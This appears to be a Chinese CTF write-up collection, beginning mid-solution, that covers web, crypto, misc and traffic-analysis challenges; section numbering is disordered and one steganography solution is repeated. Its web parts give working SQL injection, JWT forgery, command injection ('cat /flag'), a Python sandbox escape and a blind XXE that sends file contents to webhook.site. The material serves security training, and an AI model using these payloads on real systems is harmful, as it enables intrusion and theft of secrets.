这里传入的明文 DEK 是 32 字节全 0。

因为：

0 XOR keystream = keystream

所以返回的 `enc_dek` 就是完整 keystream。

设enc_dek_real`是快照里的加密 DE；Kkeystream是用全 0 明文打出来的结果

则：

old_dek = enc_dek_real XOR keystream

拿到 `old_dek` 后，就可以按快照提供的 `nonce/tag/enc_data` 做 AES-GCM 解密，直接得到 flag。

脚本如下：

```
import json

import requests
from Crypto.Cipher import AES



BASE_URL = "http://60.205.218.124:22562"



def main():
    snapshot = requests.get(f"{BASE_URL}/api/v1/backup/snapshot", timeout=5).json()

    zero_probe = requests.get(
        f"{BASE_URL}/health_check",
        params={
            "url": "http://2130706433:5000/api/v1/import_dek?dek=" + "00" * 32,
        },
        timeout=5,
    ).json()

    keystream = bytes.fromhex(json.loads(zero_probe["body_preview"])["enc_dek"])
    enc_dek = bytes.fromhex(snapshot["enc_dek"])
    dek = bytes(a ^ b for a, b in zip(enc_dek, keystream))

    cipher = AES.new(dek, AES.MODE_GCM, nonce=bytes.fromhex(snapshot["nonce"]))
    flag = cipher.decrypt_and_verify(
        bytes.fromhex(snapshot["enc_data"]),
        bytes.fromhex(snapshot["tag"]),
    )
```

```
    print(flag.decode())


if __name__ == "__main__":
    main()
```

最终 Flag

flag{ff409613-080b-4910-8fac-98a4fde664e7}

1.2 GoAhead 5.2 日志平台（Web）

访问 `/api/v2/meta`，可得到版本和租户（如 `r5.2.17-ops`、`plant-7`）。

模板接口行为：

- `field` 有白名单（`type/priority/tags/sensor/zone`）
- `group_by` 在导入时会做过滤
- `preview?view=rollup` 返回 `count`

插件接口行为：

- 上传错误签名返回 `403 签名不对`
- 未上传时执行返回 `404 还没有上传插件`

题目返回里有 `save_mode:"raw"`，说明服务端会保存原始 JSON 文本。

直接提交：

`"group_by":"type')//OR//..."` 会被拒绝（`group_by rejected`）。

但使用**重复键**可以绕过校验并污染后续 rollup 解析：

```
{
 "name": "oracle",
 "field": "type",
 "group_by": "type",
 "group_by": "type\u0027)//OR//((1=1))--"
}
```

在该题中可观察到：

- 条件为真：`rollup => {"count":6,"status":"ok"}`
- 条件为假：`rollup => {"count":0,"status":"ok"}`

这就形成了 blind SQL oracle。

先测长度：

(select length(install_nonce) from gl_runtime limit 1) > mid

得到长度为 `12`。

再逐位提取（十六进制字符）：

unicode(substr((select install_nonce from gl_runtime limit 1),pos,1)) > X

最终得到：

`install_nonce = ad45b185d532`

签名算法来自泄露文件：

seed = "gl.v5:module:derive|{version}|{installNonce}"

key = sha256(seed).hexdigest().encode()

sig = HMAC-SHA256(key, wasm_bytes).hexdigest()

wasm 逻辑：

1. `__rebind_window(64,13)`
2. 改写尾部结构字段：
   `Used=0`，`Role=0xA11CE`，`Gate=0`，`Armed=1`
3. `__set_used(0)` 保证 `crc32(Scratch[:0])=0`

这里偏移要点是 `off=64`（不是 68），符合可重绑窗口限制。

- `POST /api/v2/plugins/upload` 携带 `X-Plugin-Signature: <sig>` 与 wasm 原始
- `POST /api/v2/plugins/execute`

成功响应：

{"status":"granted","output":"Here is my flag for you:\nflag{d5d0d032-1790-4bca-bb8b-cb4fd76081a9}\n..."}

最终拿到 flag：

`flag{d5d0d032-1790-4bca-bb8b-cb4fd76081a9}`

1.3 GopherBlog

首页搜索会请求：

GET /api/posts/search?q=test

先测单引号：

GET /api/posts/search?q='

没有明显报错，再测逻辑注入：

GET /api/posts/search?q=' OR 1=1--

返回全部文章，说明搜索接口存在 SQL 注入。

继续确认列数：

GET /api/posts/search?q=' UNION SELECT 1,2,3,4,5,6--

返回中可以看到伪造出来的一条记录：

- `id = 1`
- `title = 2`
- `content = 3`
- `author = 4`
- `category = 5`
- `created_at = 1970-01-01T00:00:06Z`

所以查询列顺序为：

id, title, content, author, category, created_at

先读表结构：

GET /api/posts/search?q=' UNION SELECT 1,name,sql,'x','y','2026-01-01T00:00:00Z' FROM sqlite_master--

可以看到主要表：

- `posts`
- `users`
- `settings`

其中 `settings` 表最关键，继续读取：

GET /api/posts/search?q=' UNION SELECT 1,key,value,'x','y','2026-01-01T00:00:00Z' FROM settings--

返回关键配置：

admin_email = admin@gopherblog.local

jwt_secret = c1173ae2b9872012f942c3d472af697c2e3655eaf56f4582

site_name = GopherBlog

smtp_host = mail.gopherblog.local

smtp_port = 587

这里最重要的是：

jwt_secret = c1173ae2b9872012f942c3d472af697c2e3655eaf56f4582

注意这里有一个常见坑：

- `jwt_secret` 不是 JWT
- 它只是用于签名 JWT 的密钥
- 真正要放进 `Cookie: token=` 的，是完整的 JWT

JWT header：

{"alg":"HS256","typ":"JWT"}

JWT payload：

{"username":"admin","role":"admin","iat":当前时间戳,"exp":当前时间戳+86400}

Python 生成脚本：

```
import base64, json, hmac, hashlib, time

secret = b"c1173ae2b9872012f942c3d472af697c2e3655eaf56f4582"

header = {"alg": "HS256", "typ": "JWT"}
now = int(time.time())
payload = {
  "username": "admin",
  "role": "admin",
  "iat": now,
  "exp": now + 86400,
}

def b64url(obj):
  return base64.urlsafe_b64encode(
    json.dumps(obj, separators=(",", ":")).encode()
  ).decode().rstrip("=")

msg = f"{b64url(header)}.{b64url(payload)}"
sig = base64.urlsafe_b64encode(
  hmac.new(secret, msg.encode(), hashlib.sha256).digest()
```

).decode().rstrip("=")

print(msg + "." + sig)

生成出来的 JWT 直接放进请求头：

Cookie: token=<伪造出来的JWT>

验证管理员权限：

GET /admin HTTP/1.1

Host: target

Cookie: token=<JWT>

返回 `200 OK` 说明已经进入管理员后台。

管理员后台存在 `/admin/newsletter` 页面。页面提示可以使用 Go template 语法，并且暴露了多个模板变量：

- `.Title`
- `.Content`
- `.Site.Name`
- `.Site.URL`
- `.Mailer.From`
- `.Mailer.Host`

先看整个模板对象：

{{printf "%+v" .}}

返回类似：

&{Title:hello Content:world Site:0xc000... Mailer:0xc000... Date:March 26, 2026 Year:2026}

继续看 `.Mailer`：

{{printf "%+v" .Mailer}}

返回：

&{Host:mail.gopherblog.local Port:587 From:newsletter@gopherblog.local}

结合附件二进制中枚举到的符号：

main.(*MailService).Configure

main.(*MailService).Ping

main.newsletterHandler

main.checkTemplateContent

可以判断 `.Mailer` 不只是普通对象，还暴露了可调用方法。

先试直接调用：

{{.Mailer.Ping}}

返回：

nc: getaddrinfo for host "mail.gopherblog.local" port 587: Temporary failure in name resolution

Connection to mail.gopherblog.local:587 failed

这说明：

1. 模板中可以直接调用方法
2. `Ping` 底层会执行 `nc host port`

再测配置方法：

{{.Mailer.Configure .Title 25}}{{.Mailer.Ping}}

当 `title=example.com` 时，返回：

nc: getaddrinfo for host "example.com" port 25: Temporary failure in name resolution

Connection to example.com:25 failed

说明 `Configure` 的参数就是：

Configure(host string, port int)

此时很容易想到，既然 `Ping` 底层是 `nc host port`，那就有机会命令注入。

需要注意的点：

- 模板正文存在黑名单
- 像 `exec`、`file`、`etc/` 这类关键词会被拦
- 但是 `title` 参数不走这一层模板关键字检查

所以不需要把恶意命令写进模板，只需要把命令写进 `title`，再让模板把 `title` 传给 `.Mailer.Configure`。

探针 payload：

- `title = example.com;id;#`
- `template = {{.Mailer.Configure .Title 25}}{{.Mailer.Ping}}`

POST body：

action=preview&title=example.com%3Bid%3B%23&content=test&template=%7B%7B.Mailer.Configure%20.Title%2025%7D%7D%7B%7B.Mailer.Ping%7D%7D

返回：

nc: missing port number

uid=0(root) gid=0(root) groups=0(root)

这说明：

1. 命令注入成功
2. 进程权限是 `root`

直接读取常见路径 `/flag`。

构造：

- `title = x;cat /flag;#`
- `template = {{.Mailer.Configure .Title 25}}{{.Mailer.Ping}}`

完整请求：

POST /admin/newsletter HTTP/1.1

Host: eci-2ze5l7zxbiur39zr3jb4.cloudeci1.ichunqiu.com:8080

Content-Type: application/x-www-form-urlencoded

Cookie: token=<伪造好的管理员JWT>

action=preview&title=x%3Bcat%20%2Fflag%3B%23&content=test&template=%7B%7B.Mailer.Configure%20.Title%2025%7D%7D%7B%7B.Mailer.Ping%7D%7D

返回：

{"preview":"nc: missing port number\nflag{ad979d3b-3a8b-4c04-867b-7e2d8d3b98da}"}

如果在 Burp 里复现失败，通常是以下原因：

1. `Cookie: token=` 里填的是 `jwt_secret`，而不是完整 JWT
2. 请求体参数写成了 `content = test`、`template = ...`，也就是参数名后面多了空格
3. 有多个 `Cookie` 头，导致你手工加的那个被覆盖
4. 浏览器自动带了旧 cookie，和 Burp 里的手工值冲突

Burp 中最稳的做法就是直接在 Repeater 手工发整包请求，不要依赖浏览器已有 cookie。

最终 flag：

flag{ad979d3b-3a8b-4c04-867b-7e2d8d3b98da}

密码

2. LCG + LHNP

题目给了一份 `enc.sage`，核心逻辑如下：

```
seed = bytes_to_long(b"Seed" + os.urandom(32))
genertor = random.Random(seed)

p = get_prime(1024, genertor=genertor)
x = get_prime(1024)
while x > p:
    x = get_prime(1024)

enc = bytes_to_long(flag) ^^ x

for i in range(30):
    r = get_prime(1024, genertor=genertor)
    e = get_prime(888)
    c = (r * x + e) % p

length = len(bin(seed)) - 2
a = get_prime(length)
b = get_prime(length)
n = get_prime(length)

for i in range(10):
    seed = (a * seed + b) % n
    seeds.append(seed)
```

输出给了三部分：

- `cs`
- `seeds`
- `enc`

题目结构：前半段是 `LCG`，后半段是 `LHNP / HNP`。

先把题目拆开看：

1. `seed = bytes_to_long(b"Seed" + os.urandom(32))`
   这里生成了一个 36 字节的大整数种子，前 4 字节固定是 `Seed`。

2. `random.Random(seed)`
   这个种子喂给了 Python 的梅森旋转随机数，用来生成后面的 `p` 和所有 `r_i`。
3. `x`
   这是另外独立生成的 1024-bit 素数，满足 `x < p`。
4. `enc = flag xor x`
   所以只要恢复 `x`，flag 直接就出来了。
5. `c_i = (r_i * x + e_i) mod p`
   其中 `e_i` 是 888-bit 素数，远小于 1024-bit 的 `p`。这就是一个典型的“小误差模线性方程组”。
6. 最后又把最开始的那个 `seed` 丢进一个 LCG：

seed_{i+1} = (a * seed_i + b) mod n

并且直接输出了连续 10 个状态 `seeds`。

因此整题的利用链很自然：

1. 先从 `seeds` 恢复 LCG 参数和初始 `seed`
2. 再用这个 `seed` 重放 Python `random.Random`
3. 拿到 `p` 和所有 `r_i`
4. 最后解 `c_i = (r_i * x + e_i) mod p`，恢复 `x`
5. 用 `enc xor x` 得到 flag

已知 LCG：

s_{i+1} = a s_i + b mod n

如果拿到了连续状态，标准做法是先消掉 `a` 和 `b`，恢复模数 `n`。

令：

d_i = s_{i+1} - s_i

则有：

d_{i+1} ≡ a d_i (mod n)

进一步可得：

d_{i+2} d_i - d_{i+1}^2 ≡ 0 (mod n)

所以对若干项取 `gcd` 就能把 `n` 捞出来：

diffs = [s[i + 1] - s[i] for i in range(len(s) - 1)]

zeroes = [abs(diffs[i + 2] * diffs[i] - diffs[i + 1] * diffs[i + 1]) for i in range(len(diffs) - 2)]

n = reduce(gcd, zeroes)

有了 `n` 以后：

a = (s_2 - s_1) * (s_1 - s_0)^(-1) mod n

b = s_1 - a s_0 mod n

再把第一项往前倒推一步，就能恢复最初喂给 LCG 的那个 `seed0`：

seed0 = (s_0 - b) * a^(-1) mod n

实测恢复结果为：

seed0 = 1620109671408452389952111174985818428386094283785201269577807135198828662423620081804 47

把它转成字节后可以看到：

b'Seed\x00\x90\xa2\xe2&I$\xec\xc1*\x1fq{"L@\x9cO\xa8 \x0fOL\xc3b\x9c\x96yJ\xcc\x96\xdf'

前缀正好是题目源码里的 `b"Seed"`，说明这一层恢复完全正确。

题目里生成 `p` 和所有 `r_i` 用的都是：

genertor = random.Random(seed0)

而 `get_prime()` 的逻辑也很直接，就是不断调用：

num = genertor.randrange(2**(key_size - 1), 2**key_size)

直到命中素数为止。

因此只要种子一致，调用顺序一致，整条随机流就能完全重放。我们按照题目里的顺序重放：

1. 先生成 `p`
2. 然后连续生成 30 个 `r_i`

恢复到的 `p` 为：

173629818340234873450836291698207795364117105131975574872886271234775483683268150390440238871092030424776281622599865476296988306843958620823193930153858732668633512116514995052924267304259035591860389426735400386527074933747255176065605588568104501266898452481146429484392535868952144604792038293285741408567

到这里，后半段方程里的所有公开量都齐了：`p`、`r_i`、`c_i`、`enc`。

题目给的是：

c_i = (r_i x + e_i) mod p

其中：

- `x` 是未知的 1024-bit 素数
- `e_i` 是未知的 888-bit 素数
- `0 < e_i < 2^888`

把模运算展开，就是存在某个整数 `q_i` 使得：

r_i x + e_i = c_i + q_i p

移项得到：

r_i x - q_i p - c_i = -e_i

右边是一个绝对值很小的误差项，这正是 Hidden Number Problem / Lattice Hidden Number Problem 的标准形态。

也就是说，我们有 30 个方程：

r_i x - q_i p ≈ c_i

误差上界是 `2^888`。

为了把这个问题变成最近向量问题，构造如下格基：

[p^2 0 ... 0 0]

[0 p^2 ... 0 0]

[. . . . .]

[0 0 ... p^2 0]

[p r_1 p r_2 ... p r_m B]

其中：

- `m = 30`
- `B = 2^888`

目标向量取：

t = [p c_1, p c_2, ..., p c_m, 0]

如果取系数向量：

(-q_1, -q_2, ..., -q_m, x)

那么对应的格向量和目标向量之差为：

[p e_1, p e_2, ..., p e_m, B x]

这里有一个关键平衡：

- `p e_i` 的量级大约是 `2^1024 * 2^888 = 2^1912`
- `B x` 的量级也是 `2^888 * 2^1024 = 2^1912`

所以这个构造把所有坐标都平衡到了同一数量级，适合做 CVP。

做法就是：

1. 先对这个格基做 `LLL`
2. 再用 `Babai nearest plane` 找离目标向量最近的格点
3. 最后一个系数就是 `x` 的一个同余代表

恢复出的 `x` 取 `mod p` 即可得到真正的私钥：

x = 1616461439710700731997569186185812769299767830124980279220583003335448094005594673387444570859663144030091124448555335875850717272702552043186735377128154096904271260968720791613687940161783209542111318065159679277524804365207632049844376257806849510891983044114891598628308041208778340305816860439812260195 67

题目里加密方式是：

enc = bytes_to_long(flag) ^^ x

所以直接异或回来：

flag = long_to_bytes(enc ^ x)

得到最终结果：

flag{6c3b0525-00e5-4436-a1f1-cd9e0c4d7fa4}

Misc

2.1 Misc 模型隐写（Misc）

先看 notebook 中的核心推理逻辑：

```
def forward(X, p):
    h = relu(X @ p['embedding_layer'] + p['hidden_bias'])
    return softmax(h @ p['output_layer'] + p['output_bias'])
```

参数如下：

- `embedding_layer`：`(18, 20)`
- `hidden_bias`：`(20,)`
- `output_layer`：`(20, 2)`
- `output_bias`：`(2,)`

一开始有两个明显异常：

1. `sentiment_model.npz` 非常小。
2. notebook 里写的是训练完成可部署模型，但实际运行结果精度很差。

说明这个模型文件更像是伪装载体，而不是真正训练好的模型。

把当前 `npz` 权重和正常随机初始化结果对比后，可以发现：

- `hidden_bias`、`output_layer`、`output_bias` 都是正常初始化值
- `embedding_layer` 也几乎等于随机初始化

- 但 `embedding_layer` 中有大量位置被改动了最低位

进一步检查可知：

- 只有 `embedding_layer` 被动过
- 只改了 `float32` 的最低 1 bit
- 修改位置一共 `174` 个

也就是说，题目是典型的 **模型参数 LSB 隐写**。

把 `embedding_layer` 视为 `uint32` 后，取每个 `float32` 的最低位：

bits = (embedding.reshape(-1).view(np.uint32) & 1).astype(np.uint8)

接下来要解决两个问题：

1. 这些 bit 应该按什么顺序读？
2. 每 8 bit 组成字节时，位序是大端还是小端？

枚举多种常见读取方式后，正确方案是：

- 按 **行优先** 读取 `embedding_layer`
- 每 `8` 个 bit 组成一个字节
- 字节内部按 **小端位序** 拼接

提取出的载荷字节为：

b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b"5'

这串数据看起来还是乱码，说明后面还有一层轻量编码。

由于 CTF 中最终明文大概率以 `flag{` 开头，可以直接做已知明文攻击。

设载荷为 `C`，明文为 `P`，如果是重复异或：

P[i] = C[i] ^ K[i % n]

拿前 5 字节和 `flag{` 对齐，就能推出重复密钥：

K = b"GHOST"

验证后整串明文自然展开为标准 flag：

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

脚本：

```
from pathlib import Path
import numpy as np


MODEL_PATH = Path(
```

```
r"C:\Users\Admin\Downloads\Model_Entropy_b7f81bb4ab6e334da5fbac74777e42e5\sentiment_model.npz"
)

XOR_KEY = b"GHOST"



def extract_lsb_bytes(embedding: np.ndarray) -> bytes:
    bits = (embedding.reshape(-1).view(np.uint32) & 1).astype(np.uint8)
    out = []
    for i in range(0, len(bits) - 7, 8):
        value = sum(int(bits[i + j]) << j for j in range(8))
        out.append(value)
    return bytes(out).rstrip(b"\x00")



def xor_with_repeating_key(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))



params = dict(np.load(MODEL_PATH))
carrier = extract_lsb_bytes(params["embedding_layer"])
flag = xor_with_repeating_key(carrier, XOR_KEY).decode("ascii")

print("Carrier bytes:", carrier)
print("XOR key:", XOR_KEY.decode())
print("Recovered flag:", flag)
```

运行后输出：

```
Carrier bytes: b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b"5'
XOR key: GHOST
```

Recovered flag: flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

最终 Flag

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

2.2 Model_Entropy

先看 notebook 里的模型结构：

```
def forward(X, p):
    h = relu(X @ p['embedding_layer'] + p['hidden_bias'])
    return softmax(h @ p['output_layer'] + p['output_bias'])
```

参数包括：

- `embedding_layer`：`(18, 20)`
- `hidden_bias`：`(20,)`
- `output_layer`：`(20, 2)`
- `output_bias`：`(2,)`

其中最可疑的是：

1. `sentiment_model.npz` 体积非常小。
2. notebook 里写的是“训练好的模型”，但实际跑出来准确率很差，说明权重并不是真正训练结果。
3. 只有 `embedding_layer` 的规模和题面提示直接对应。

把模型权重和一个固定随机种子生成的初始化值做对比后，可以发现：

- `hidden_bias`、`output_layer`、`output_bias` 都是正常初始化值
- `embedding_layer` 也非常接近随机初始化
- 但 `embedding_layer` 中有大量元素的 `float32` 最低位被修改了

也就是说，出题人不是改了权重的“数值语义”，而是改了 `float32` 的 **LSB（最低有效位）** 来藏数据。

更具体地说：

- 只动了 `embedding_layer`
- 每个被修改的位置只改了最低 1 bit
- 这是典型的模型参数隐写

正确提取流程如下：

1. 读取 `embedding_layer`

2. 把它视为 `uint32`
3. 取每个 `float32` 的最低位：`value & 1`
4. 按 **行优先** 顺序读取
5. 每 8 bit 拼成一个字节
6. 字节内部采用 **小端位序**
7. 得到一串载荷字节后，再用重复异或密钥 `GHOST` 解密

提取出的载荷字节是：

b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\\x7f)fav\\x7f{7b\"5'

然后与重复密钥 `GHOST` 异或：

flag = carrier ^ b"GHOSTGHOSTGHOST..."

得到最终 flag。

关键脚本

```
from pathlib import Path
import numpy as np

MODEL_PATH = Path(

r"C:\Users\Admin\Downloads\Model_Entropy_b7f81bb4ab6e334da5fbac74777e42e5\sentiment_model.npz"
)

XOR_KEY = b"GHOST"



def extract_lsb_bytes(embedding: np.ndarray) -> bytes:
    bits = (embedding.reshape(-1).view(np.uint32) & 1).astype(np.uint8)
    out = []
    for i in range(0, len(bits) - 7, 8):
        value = sum(int(bits[i + j]) << j for j in range(8))
        out.append(value)
    return bytes(out).rstrip(b"\x00")
```

```
def xor_with_repeating_key(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))


params = dict(np.load(MODEL_PATH))
carrier = extract_lsb_bytes(params["embedding_layer"])
flag = xor_with_repeating_key(carrier, XOR_KEY).decode()

print(carrier)
print(flag)
```

运行结果：

```
Carrier bytes: b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b"5'
Recovered flag: flag{9bb55899-ca94-4217-9393-5f7f55174d6e}
```

最终答案：

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

2.3 safepy

题型：Python pyjail / Web

入口：主页提供一个 `PY-LeetCode` 页面，前端会向 `/api` 提交 JSON：

```
{"code":"...", "name":"spring"}
```

页面上给的模板是：

```
def isPalindrome(self, input):
    ...
```

但这其实是误导，真实签名应该是：

```
def isPalindrome(input):
    ...
```

否则会直接返回 `Exception`。

先做最小化测试：

```
def isPalindrome(input):
```

return input == input[::-1]

返回：

{"result":"Success"}

而：

def isPalindrome(input):

return False

返回：

{"result":"Failure"}

语法错误会返回 `SyntaxError`，非法能力或被拦截的访问大多会返回 `Exception`。

所以这题不是普通算法题，而是一个带 WAF/沙箱的 Python 执行环境，`Success/Failure` 本身就是一个 oracle。

可以直接使用的一些 builtin：

- `len`
- `str`
- `int`
- `list`
- `tuple`
- `set`
- `map`
- `filter`
- `chr`
- `ord`
- `repr`

但很多危险能力会被直接拦掉或不可用：

- `open`
- `globals`
- `locals`
- `dir`
- `type`
- `getattr`
- `hasattr`

- `class`
- `builtins`
- `import`

也就是说这是一个“保留部分 builtin + 关键名字过滤”的 pyjail。

直接写危险属性会炸，但 `str.format` 可以沿对象图做属性访问。

比如先构造异常对象：

```
def isPalindrome(input):
  try:
    1/0
  except Exception as e:
    d = chr(95) + chr(95)
    s = '{0.' + d + 'traceback' + d + '.tb_frame.f_back.f_back.f_globals}'
    x = s.format(e)
  return input == input[::-1]
```

这里通过运行时拼接 `traceback`，绕过了静态关键字过滤，然后可以进一步拿到：

- `tb_frame`
- `f_back`
- `f_globals`
- `f_locals`
- `f_code`

继续往外翻 frame 后，能够定位到外层 WAF 代码对象。

通过盲取 `co_filename`、`co_names`、`co_consts` 等元数据，可以定位到：

- 文件：`/app/waf.py`
- 核心函数：`safest_eval`

并且可以确认它的大致逻辑是：

1. `compile`
2. `check`
3. 用 `dict(ALLOW_BUILTINS)` 构造受限 globals
4. `eval`

这就说明题目本质确实是一个 `safest_eval` 风格 pyjail。

文档里的核心思路是：

1. 写一个协程 `async def async_function()`
2. 在协程源码里使用占位名字：

AAclassAA

AAbaseAA

AAsubclassesAA

3. 运行时取出协程的 `cr_frame.f_code`
4. 用 `code.replace(co_names=...)` 把占位名字中的 `A` 替换成 `_`
5. 这样就能把：

AAclassAA -> **class**

AAbaseAA -> **base**

AAsubclassesAA -> **subclasses**

6. 因为替换发生在运行时，WAF 的静态检查阶段看不到真正的危险名字
7. 进入 `().class.base.subclasses()` 后，找能 `load_module('os')` 的类
8. 拿到 `os` 后执行：

popen('/readflag').read()

9. 再利用 `Success/Failure` 做前缀盲注，把 flag 一位一位跑出来

服务端不会直接把命令执行结果回显给前端，所以需要把拿到的 flag 存进变量，然后用：

flag[:n] == 'prefix'

去控制 `isPalindrome` 的真假：

- 前缀匹配：返回正确回文逻辑，结果为 `Success`
- 前缀不匹配：返回 `False`，结果为 `Failure`

于是就把 `/api` 变成了一个稳定的前缀 oracle。

核心 payload 如下：

```
def isPalindrome(input):
  flag = ''

  async def async_function():
    for cls in ().AAclassAA.AAbaseAA.AAsubclassesAA():
      try:
```

```
            mod = cls.load_module('os')
        except Exception:
            pass
        else:
            raise Exception(mod.popen('/readflag').read())

async_object = async_function()
code_object = async_object.cr_frame.f_code
code_object = code_object.replace(
    co_names=tuple(name.replace('A', '_') for name in code_object.co_names)
)

try:
    function(code_object, {})().send(None)
except Exception as e:
    flag = str(e)

return flag[:N] == PREFIX and input == input[::-1]
```

其中：

- `N` 是当前探测前缀长度
- `PREFIX` 是当前猜测的 flag 前缀

跑出的最终 flag 为：

flag{06a5db74-7d89-4fe3-9fb1-5cb405fd274a}

3. Stream Capture（流量分析）

题目只给了一份流量包 `capture.pcapng`，通常不是直接猜“用了什么加密算法”，而是先对整份流量做会话统计，判断真正异常的大流在哪里，再分析载荷特征。

用 `scapy` 对 `pcapng` 做一个简单统计，可以很快看出这份流量的整体结构：

- 只有两台主机在通信：`192.168.31.191` 和 `192.168.31.192`
- 绝大多数数据包是 UDP

- 存在一条非常突出的单向 UDP 大流：
  `192.168.31.191:47998 -> 192.168.31.192:33314`

这条流的特点非常明显：

- 包数远高于其他会话
- 每个 UDP 负载长度几乎固定
- 负载前半部分像是自定义协议头
- 去掉前面固定长度数据后，可以看到典型视频码流特征

对该 UDP 大流随便抽一包出来看十六进制，可以发现去掉前 32 字节以后，数据中出现了：

00 00 00 01 67

00 00 00 01 68

00 00 00 01 65

这几个标志非常关键：

- `67` 对应 H.264 `SPS`
- `68` 对应 H.264 `PPS`
- `65` 对应 H.264 `IDR`

也就是说，这条所谓“加密数据流”本质上并不是传统意义上的加密通信，而是一段被私有头封装过的 H.264 视频流。

题目的真正考点不是密码学，而是把真实载荷从流量里还原出来。

思路确定后，处理流程就比较直接了：

1. 过滤出 `192.168.31.191:47998 -> 192.168.31.192:33314`
2. 对每个 UDP 负载去掉前 32 字节私有头
3. 按抓包顺序拼接剩余部分
4. 得到一份可解码的 H.264 裸码流
5. 解码视频并检查画面内容

将拼接出的数据交给 OpenCV 解码后，可以正常读出视频帧。继续查看关键帧，发现后半段画面左上角直接出现了 flag。

关键帧示意：

`frame_390.png`

脚本实现的功能包括：

- 自动统计 UDP 流
- 自动选择最像 H.264 视频流的会话

- 自动剥离私有头并重组 `stream.h264`
- 自动解码视频
- 自动对左上角区域进行 OCR
- 自动恢复 `flag{...}`

运行方式：

```
代码块
1   python solve_stream_capture.py
    "C:\Users\Admin\Downloads\Stream_Capture_6996b0511a09ddd236d95aa81b27a69d\captu
    re.pcapng"
```

依赖：

```
代码块
1   pip install scapy opencv-python easyocr
```

恢复出的隐藏信息为：

flag{8ccf17ab-1e21-4e26-ba08-f6b048b3c3c6}

10. MathChina Web（Shiro 绕过 + 盲 XXE）

题目概览

首页按钮只会跳转到 `/403`，页面看起来是静态拒绝页。

进行目录探测后可以发现 `/backup`，会直接下载 `back.jar`。反编译该 jar 可以拿到完整的 Spring Boot 逻辑，并明确攻击路径。

关键类与行为：

- `UserController`
  - `GET /` 返回首页
  - `GET /backup` 返回源码 jar
  - `RequestMapping /permit/{value}` 返回 `admin` 模板
- `MyShiroFilterFactoryBean`
  - 仅对 `/permit/.*` 挂载自定义 Shiro 过滤器
- `MyFilter`
  - 读取 `AccessToken` 请求头

- 仅当值为 `faketoken` 时放行
- 否则跳转 `/403`

1.Shiro 正则匹配绕过

过滤链使用了 `/permit/.*`。在目标环境中，URL 编码换行可绕过 Shiro 匹配，但 Spring 仍会把请求路由到控制器：

/permit/test%0a

实测现象：

- `/permit/test` -> `302 /403`
- `/permit/test%0a` -> `200`，返回隐藏的 admin 页面

admin 页面暴露了下一处关键功能：

POST /parse/sax-parser

2.确认盲 XXE

`/parse/sax-parser` 的行为如下：

- 普通 XML：返回成功页
- 未定义实体：返回 500
- 外部实体：再次返回成功页

这表明服务端会解析外部实体，但不会把文件内容直接回显，属于盲 XXE。

使用 OOB 探针验证：

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "https://webhook.site/<token>/oob-general">

]>

<root><a>&xxe;</root>

`webhook.site` 可收到来自目标的回连（`User-Agent: Java/11.0.13`）。

3.外部 DTD 回传文件内容

由于应用不回显实体内容，需要借助外部 DTD 做带外回传。

外部 DTD：

代码块

```
<!ENTITY % file SYSTEM "file:///flag">
```

```
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
'https://webhook.site/<recv>/leak?x=%file;'>">
%eval;
%exfil;
```

目标解析后会发起第二次请求：

https://webhook.site/<recv>/leak?x=<file-content>

这样即可在查询串中直接拿到 `file:///flag` 的内容。

最终 Flag

flag{242a3f3c-76f2-4229-8d13-a3cfba493f8e}

4.lost_signal

词向量常见的类比公式是：

A : B :: C : D

=> vec(B) - vec(A) ≈ vec(D) - vec(C)

=> vec(C) ≈ vec(A) - vec(B) + vec(D)

对于题目这种形式：

A is to B, ? is to D

未知词 `?` 应该按下面计算：

? ≈ A - B + D

例如第一题：

man is to king, ? is to queen

对应公式：

? ≈ vec(man) - vec(king) + vec(queen)

然后在词表里找与这个结果余弦相似度最高的词。

用 `gensim` 加载 `glove-twitter-25`，然后逐题跑 `most_similar`。

```
import gensim.downloader as api

model = api.load("glove-twitter-25")

queries = [
    ("man", "king", "queen"),
```

```
    ("paris", "france", "italy"),
    ("bad", "worst", "best"),
    ("small", "tiny", "massive"),
    ("cat", "kitten", "puppy"),
    ("winter", "cold", "hot"),
]

ans = []
for a, b, d in queries:
    word, score = model.most_similar(
        positive=[a, d],
        negative=[b],
        topn=1
    )[0]
    print(f"{a}:{b} :: ?:{d} -> {word} ({score:.6f})")
    ans.append(word)

print("password =", "".join(ans))
```

这里的

positive=[a, d], negative=[b]

对应的正是

vec(a) - vec(b) + vec(d)

跑出来的结果是：

1. `man is to king, ? is to queen` -> `so`
2. `paris is to france, ? is to italy` -> `brazil`
3. `bad is to worst, ? is to best` -> `cool`
4. `small is to tiny, ? is to massive` -> `deal`
5. `cat is to kitten, ? is to puppy` -> `dog`
6. `winter is to cold, ? is to hot` -> `fashion`

拼接后得到密码：

sobrazilcooldealdogfashion

用这个密码解压 `archive.zip`，可以得到 `flag.txt`：

flag{ae97fb341dc2e779b230f141fb7e04ee}